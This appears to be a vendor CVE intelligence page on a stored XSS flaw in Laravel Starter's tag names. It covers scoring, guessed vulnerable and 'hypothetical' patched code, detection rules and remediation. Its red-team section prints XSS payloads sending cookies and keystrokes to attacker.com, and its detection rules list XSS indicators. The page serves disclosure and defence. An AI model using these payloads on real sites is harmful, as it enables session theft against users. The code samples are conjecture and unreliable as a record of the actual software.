☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Laravel logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-26159

CVE-2025-26159 Cross-Site Scripting in Laravel
📅 PUBLISHED: 2025-04-22 00:00 UTC 🔄 UPDATED: 2026-09-24 06:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-26159 identifies a stored Cross-Site Scripting (XSS) vulnerability in Laravel Starter version 11.11.0. The flaw resides in the tags feature, allowing any authenticated user with tag creation or modification privileges to inject malicious JavaScript code into the name field. This injected script is then stored and executed in the browsers of other users who view the affected tags, leading to potential session hijacking, data theft, or further compromise.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Laravel Starter is a PHP-based starter kit built on the Laravel framework. While the core Laravel framework is not directly affected, this starter kit introduces its own tag management module. The vulnerability exists within the application layer, not in the underlying Laravel dependencies. Organizations using this starter kit should treat it as a supply chain risk, as the vulnerable code is part of the application's custom logic.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 5.4 (Medium)
  • Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid account with tag creation/modification permissions.
  • User Interaction (UI): Required (R) – The victim must view the malicious tag.
  • Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure possible.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. The requirement for authenticated access and user interaction reduces the immediate risk, but the stored nature of the XSS makes it a persistent threat to all users viewing tag data.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS (also known as persistent XSS). The application fails to properly sanitize or encode user-supplied input in the name field of the tags feature. When a user with tag creation or modification privileges submits a tag name containing malicious JavaScript, the input is stored in the database without adequate validation.

When another user (including administrators) navigates to a page that displays the tag, the malicious script is rendered in the browser context of that user. This allows the attacker to execute arbitrary JavaScript, which can:

  • Steal session cookies.
  • Perform actions on behalf of the victim (e.g., create new admin accounts).
  • Redirect users to phishing pages.
  • Deface the application interface.

The attack flow:

  1. Attacker logs in with a low-privileged account that has tag creation rights.
  2. Attacker creates a new tag with a payload like <script>alert('XSS')</script> in the name field.
  3. The tag is stored in the database.
  4. Victim (e.g., admin) views the tag list or a page that renders the tag.
  5. The script executes in the victim's browser.

Vulnerable vs. Patched Code

Vulnerable Code (Laravel Starter 11.11.0): The tag creation/modification endpoint likely uses a method similar to:

// Vulnerable: No sanitization
public function store(Request $request)
{
    $tag = new Tag();
    $tag->name = $request->input('name');
    $tag->save();
    return redirect()->back();
}

The view rendering the tag name might use:

// Vulnerable: Unescaped output
{!! $tag->name !!}

Patched Code (Hypothetical): The patched version should sanitize input and escape output:

// Patched: Input sanitization
public function store(Request $request)
{
    $request->validate([
        'name' => 'required|string|max:255|regex:/^[a-zA-Z0-9\s\-_]+$/',
    ]);
    $tag = new Tag();
    $tag->name = strip_tags($request->input('name'));
    $tag->save();
    return redirect()->back();
}

The view should use escaped output:

// Patched: Escaped output
{{ $tag->name }}

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A running instance of Laravel Starter 11.11.0.
  • A valid user account with tag creation or modification privileges.

Exploitation Steps:

  1. Log in to the application.
  2. Navigate to the tags management section (e.g., /tags/create).
  3. In the name field, inject a payload. Example:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Submit the form.
  5. Wait for an administrator or other user to view the tag list or a page that renders the tag.
  6. The victim's browser will execute the script, sending their cookies to the attacker's server.

Alternative Payloads:

  • Session hijacking: <script>new Image().src='https://attacker.com/steal?c='+document.cookie</script>
  • Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
  • Phishing: <script>window.location='https://phishing-site.com'</script>

Blue Team

Detection Steps:

  1. Monitor web application logs for unusual input patterns in the name field of tag creation/modification requests.
  2. Look for requests containing <script>, onerror=, onload=, or other XSS indicators.
  3. Use a Web Application Firewall (WAF) to block common XSS payloads.
  4. Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Lab Setup for Testing:

  1. Deploy a vulnerable instance of Laravel Starter 11.11.0 in an isolated environment.
  2. Use a tool like Burp Suite or OWASP ZAP to intercept and modify requests.
  3. Create a test user with tag creation privileges.
  4. Inject payloads and observe the behavior in a browser.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to unknown or suspicious domains containing cookie data.
    • Requests to /tags/create or /tags/*/edit with unusual payloads in the name parameter.
  • File IOCs:
    • Log entries showing name parameter containing <script> tags.
    • Database entries in the tags table with name fields containing JavaScript.
  • Behavioral IOCs:
    • Unexpected redirects to external sites.
    • Unauthorized changes to user accounts or settings.
    • Alerts from security tools detecting XSS patterns.

Detection Engineering

YARA Rule

rule CVE_2025_26159_XSS_Tag_Name {
    meta:
        description = "Detects stored XSS payloads in Laravel Starter tag names"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26159"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in Laravel Starter Tag Name
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attacks targeting the tags feature in Laravel Starter 11.11.0
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-26159
logsource:
    category: web_application
    product: laravel_starter
detection:
    selection:
        request_method: 'POST'
        request_path:
            - '/tags'
            - '/tags/*'
        request_body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in tag names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-26159 Stored XSS in Laravel Starter Tag Name"; flow:to_server,established; content:"POST"; http_method; content:"/tags"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the tags feature if not critical to business operations.
  2. Restrict tag creation/modification permissions to only trusted administrators.
  3. Implement input validation on the name field to allow only alphanumeric characters and spaces.
  4. Escape output in all views that render tag names using Blade's {{ }} syntax instead of {!! !!}.

Long-Term Fixes:

  1. Apply a patch from the vendor if/when available.
  2. Upgrade to a patched version of Laravel Starter.
  3. Conduct a security audit of the entire application for similar vulnerabilities.
  4. Implement a Web Application Firewall (WAF) with XSS protection rules.
  5. Deploy Content Security Policy (CSP) headers to restrict script execution.

Workaround: If patching is not immediately possible, modify the tag creation controller to strip HTML tags:

$tag->name = strip_tags($request->input('name'));

And ensure all views use escaped output:

{{ $tag->name }}

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-26159/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.